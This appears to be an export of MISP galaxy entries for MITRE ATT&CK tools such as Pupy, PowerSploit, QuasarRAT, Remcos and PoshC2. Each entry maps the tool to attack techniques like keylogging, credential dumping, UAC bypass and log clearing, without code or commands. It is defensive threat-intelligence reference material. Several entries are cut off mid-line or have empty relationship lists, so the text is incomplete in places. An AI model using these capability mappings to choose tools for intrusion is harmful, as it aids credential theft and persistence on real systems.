[Pupy](https://attack.mitre.org/software/S0192) is an open source, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool. (Citation: GitHub Pupy) It is written in Python and can be generated as a payload in several different ways (Windows exe, Python file, PowerShell oneliner/file, Linux elf, APK, Rubber Ducky, etc.). (Citation: GitHub Pupy) [Pupy](https://attack.mitre.org/software/S0192) is publicly available on GitHub. (Citation: GitHub Pupy)

The tag is: misp-galaxy:mitre-tool="Pupy - S0192"

Pupy - S0192 is also known as:

• Pupy

View relationships graph

Pupy - S0192 has relationships with:
• uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:rat="Pupy" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Systemd Service - T1543.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="XDG Autostart Entries - T1547.013" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-
MailSniper - S0413

MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). It can be used by a non-administrative user to search their own email, or by an Exchange administrator to search the mailboxes of every user in a domain.(Citation: GitHub MailSniper)

The tag is: misp-galaxy:mitre-tool="MailSniper - S0413"

MailSniper - S0413 is also known as:

- MailSniper

View relationships graph

MailSniper - S0413 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Email Account - T1087.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"

Expand - S0361

[Expand](https://attack.mitre.org/software/S0361) is a Windows utility used to expand one or more compressed CAB files.(Citation: Microsoft Expand Utility) It has been used by [BBSRAT](https://attack.mitre.org/software/S0127) to decompress a CAB file into executable content.(Citation: Palo Alto Networks BBSRAT)
The tag is: *misp-galaxy:mitre-tool="Expand - S0361"*

Expand - S0361 is also known as:

- Expand

**View relationships graph**

Expand - S0361 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004"* with estimative-language:likelihood-probability="almost-certain"

Table 7244. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0361">https://attack.mitre.org/software/S0361</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/expand">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/expand</a></td>
</tr>
</tbody>
</table>

**Tor - S0183**

[Tor](https://attack.mitre.org/software/S0183) is a software suite and network that provides increased anonymity on the Internet. It creates a multi-hop proxy network and utilizes multilayer encryption to protect both the message and routing information. [Tor](https://attack.mitre.org/software/S0183) utilizes "Onion Routing," in which messages are encrypted with multiple layers of encryption; at each step in the proxy network, the topmost layer is decrypted and the contents forwarded on to the next node until it reaches its destination. (Citation: Dingledine Tor The Second-Generation Onion Router)

The tag is: *misp-galaxy:mitre-tool="Tor - S0183"*

Tor - S0183 is also known as:

- Tor

**View relationships graph**

Tor - S0183 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002"* with estimative-
Forfiles - S0193

[Forfiles](https://attack.mitre.org/software/S0193) is a Windows utility commonly used in batch jobs to execute commands on one or more selected files or directories (ex: list all directories in a drive, read the first line of all files created yesterday, etc.). Forfiles can be executed from either the command line, Run window, or batch files/scripts. (Citation: Microsoft Forfiles Aug 2016)

The tag is: **misp-galaxy:mitre-tool="Forfiles - S0193"**

View relationships graph

Forfiles - S0193 has relationships with:

- uses: **misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202"** with estimative-language:likelihood-probability="almost-certain"
- uses: **misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"** with estimative-language:likelihood-probability="almost-certain"
- uses: **misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"** with estimative-language:likelihood-probability="almost-certain"

Out1 - S0594

[Out1](https://attack.mitre.org/software/S0594) is a remote access tool written in python and used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least 2021. (Citation: Trend Micro Muddy Water March 2021)

The tag is: **misp-galaxy:mitre-tool="Out1 - S0594"**

Out1 - S0594 is also known as:

- Out1

View relationships graph
Out1 - S0594 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 7247. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0594">https://attack.mitre.org/software/S0594</a></td>
</tr>
</tbody>
</table>

**Responder - S0174**

Responder is an open source tool used for LLMNR, NBT-NS and MDNS poisoning, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. (Citation: GitHub Responder)

The tag is: misp-galaxy:mitre-tool="Responder - S0174"

Responder - S0174 is also known as:

- Responder

View relationships graph

Responder - S0174 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"

Table 7248. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0174">https://attack.mitre.org/software/S0174</a></td>
</tr>
<tr>
<td><a href="https://github.com/SpiderLabs/Responder">https://github.com/SpiderLabs/Responder</a></td>
</tr>
</tbody>
</table>
PowerSploit - S0194

[PowerSploit](https://attack.mitre.org/software/S0194) is an open source, offensive security framework comprised of [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration. (Citation: GitHub PowerSploit May 2012) (Citation: PowerShellMagazine PowerSploit July 2014) (Citation: PowerSploit Documentation)

The tag is: misp-galaxy:mitre-tool="PowerSploit - S0194"

PowerSploit - S0194 is also known as:

- PowerSploit

View relationships graph

PowerSploit - S0194 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Path Interception by PATH Environment Variable - T1574.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Path Interception by Search Order Hijacking - T1574.008" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Group Policy Preferences - T1552.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Path Interception by Unquoted Path - T1574.009" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 7249. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://powersploit.readthedocs.io">http://powersploit.readthedocs.io</a></td>
</tr>
<tr>
<td><a href="http://www.powershellmagazine.com/2014/07/08/powersploit/">http://www.powershellmagazine.com/2014/07/08/powersploit/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0194">https://attack.mitre.org/software/S0194</a></td>
</tr>
<tr>
<td><a href="https://github.com/PowerShellMafia/PowerSploit">https://github.com/PowerShellMafia/PowerSploit</a></td>
</tr>
</tbody>
</table>
meek - S0175

[meek](https://attack.mitre.org/software/S0175) is an open-source Tor plugin that tunnels Tor traffic through HTTPS connections.

The tag is: `misp-galaxy:mitre-tool="meek - S0175"`

meek - S0175 is also known as:

- meek

View relationships graph

meek - S0175 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Domain Fronting - T1090.004"` with estimative-language:likelihood-probability="almost-certain"

Table 7250. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0175">https://attack.mitre.org/software/S0175</a></td>
</tr>
</tbody>
</table>

IronNetInjector - S0581

[IronNetInjector](https://attack.mitre.org/software/S0581) is a [Turla](https://attack.mitre.org/groups/G0010) toolchain that utilizes scripts from the open-source IronPython implementation of Python with a .NET injector to drop one or more payloads including [ComRAT](https://attack.mitre.org/software/S0126). *(Citation: Unit 42 IronNetInjector February 2021)*

The tag is: `misp-galaxy:mitre-tool="IronNetInjector - S0581"`

IronNetInjector - S0581 is also known as:

- IronNetInjector

View relationships graph

IronNetInjector - S0581 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 7251. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0581">https://attack.mitre.org/software/S0581</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/ironnetinjector/">https://unit42.paloaltonetworks.com/ironnetinjector/</a></td>
</tr>
</tbody>
</table>

**ConnectWise - S0591**

[ConnectWise](https://attack.mitre.org/software/S0591) is a legitimate remote administration tool that has been used since at least 2016 by threat actors including [MuddyWater](https://attack.mitre.org/groups/G0069) and [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) to connect to and conduct lateral movement in target environments. (Citation: Anomali Static Kitten February 2021) (Citation: Trend Micro Muddy Water March 2021)

The tag is: `misp-galaxy:mitre-tool="ConnectWise - S0591"`

ConnectWise - S0591 is also known as:

• ConnectWise  
• ScreenConnect

View relationships graph

ConnectWise - S0591 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 7252. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0591">https://attack.mitre.org/software/S0591</a></td>
</tr>
</tbody>
</table>
**SDelete - S0195**

[SDelete](https://attack.mitre.org/software/S0195) is an application that securely deletes data in a way that makes it unrecoverable. It is part of the Microsoft Sysinternals suite of tools. (Citation: Microsoft SDelete July 2016)

The tag is: *misp-galaxy:mitre-tool="SDelete - S0195"*

SDelete - S0195 is also known as:

- SDelete

View relationships graph

SDelete - S0195 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Data Destruction - T1485"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004"* with estimative-language:likelihood-probability="almost-certain"

**Table 7253. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0195">https://attack.mitre.org/software/S0195</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete">https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete</a></td>
</tr>
</tbody>
</table>

**AsyncRAT - S1087**

[AsyncRAT](https://attack.mitre.org/software/S1087) is an open-source remote access tool originally available through the NYANxCAT Github repository that has been used in malicious campaigns.(Citation: Morphisec Snip3 May 2021)(Citation: Cisco Operation Layover September 2021)(Citation: Telefonica Snip3 December 2021)

The tag is: *misp-galaxy:mitre-tool="AsyncRAT - S1087"*

AsyncRAT - S1087 is also known as:

- AsyncRAT

View relationships graph

AsyncRAT - S1087 has relationships with:
• uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Debugger Evasion - T1622" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 7254. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1087">https://attack.mitre.org/software/S1087</a></td>
</tr>
<tr>
<td><a href="https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader">https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/">https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/</a></td>
</tr>
<tr>
<td><a href="https://telefonicatech.com/blog/snip3-investigacion-malware">https://telefonicatech.com/blog/snip3-investigacion-malware</a></td>
</tr>
</tbody>
</table>

MimiPenguin - S0179

[MimiPenguin](https://attack.mitre.org/software/S0179) is a credential dumper, similar to [Mimikatz](https://attack.mitre.org/software/S0002), designed specifically for Linux platforms. (Citation: MimiPenguin GitHub May 2017)

The tag is: misp-galaxy:mitre-tool="MimiPenguin - S0179"
MimiPenguin - S0179 is also known as:

- MimiPenguin

View relationships graph

MimiPenguin - S0179 has relationships with:


**Havij - S0224**

[Havij](https://attack.mitre.org/software/S0224) is an automatic SQL Injection tool distributed by the Iranian ITSecTeam security company. Havij has been used by penetration testers and adversaries. (Citation: Check Point Havij Analysis)

The tag is: *misp-galaxy:mitre-tool="Havij - S0224"*

View relationships graph

Havij - S0224 has relationships with:


**sqlmap - S0225**

[sqlmap](https://attack.mitre.org/software/S0225) is an open source penetration testing tool that can be used to automate the process of detecting and exploiting SQL injection flaws. (Citation: sqlmap Introduction)

The tag is: *misp-galaxy:mitre-tool="sqlmap - S0225"*

View relationships graph

sqlmap - S0225 has relationships with:
QuasarRAT - S0262

[QuasarRAT](https://attack.mitre.org/software/S0262) is an open-source, remote access tool that has been publicly available on GitHub since at least 2014. [QuasarRAT](https://attack.mitre.org/software/S0262) is developed in the C# language. (Citation: GitHub QuasarRAT) (Citation: Volexity Patchwork June 2018)

The tag is: *misp-galaxy:mitre-tool="QuasarRAT - S0262"

QuasarRAT - S0262 is also known as:

- QuasarRAT
- xRAT

View relationships graph

QuasarRAT - S0262 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Location Discovery - T1614" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 7258. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0262">https://attack.mitre.org/software/S0262</a></td>
</tr>
<tr>
<td><a href="https://github.com/quasar/QuasarRAT">https://github.com/quasar/QuasarRAT</a></td>
</tr>
<tr>
<td><a href="https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/">https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/</a></td>
</tr>
</tbody>
</table>
spwebmember - S0227

[spwebmember](https://attack.mitre.org/software/S0227) is a Microsoft SharePoint enumeration and data dumping tool written in .NET. (Citation: NCC Group APT15 Alive and Strong)

The tag is: `misp-galaxy:mitre-tool="spwebmember - S0227"`

spwebmember - S0227 is also known as:

- spwebmember

View relationships graph

spwebmember - S0227 has relationships with:


Table 7259. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0227">https://attack.mitre.org/software/S0227</a></td>
</tr>
</tbody>
</table>

Remcos - S0332

[Remcos](https://attack.mitre.org/software/S0332) is a closed-source tool that is marketed as a remote control and surveillance software by a company called Breaking Security. [Remcos](https://attack.mitre.org/software/S0332) has been observed being used in malware campaigns. (Citation: Riskiq Remcos Jan 2018)(Citation: Talos Remcos Aug 2018)

The tag is: `misp-galaxy:mitre-tool="Remcos - S0332"`

Remcos - S0332 is also known as:

- Remcos

View relationships graph

Remcos - S0332 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002"` with
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 7260. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0332">https://attack.mitre.org/software/S0332</a></td>
</tr>
</tbody>
</table>

PoshC2 - S0378

[PoshC2](https://attack.mitre.org/software/S0378) is an open source remote administration and post-exploitation framework that is publicly available on GitHub. The server-side components of the tool are primarily written in Python, while the implants are written in [PowerShell](https://attack.mitre.org/techniques/T1059/001). Although [PoshC2](https://attack.mitre.org/software/S0378) is primarily focused on Windows implantation, it
does contain a basic Python dropper for Linux/macOS.(Citation: GitHub PoshC2)

The tag is: misp-galaxy:mitre-tool="PoshC2 - S0378"

PoshC2 - S0378 is also known as:

- PoshC2

View relationships graph

PoshC2 - S0378 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"
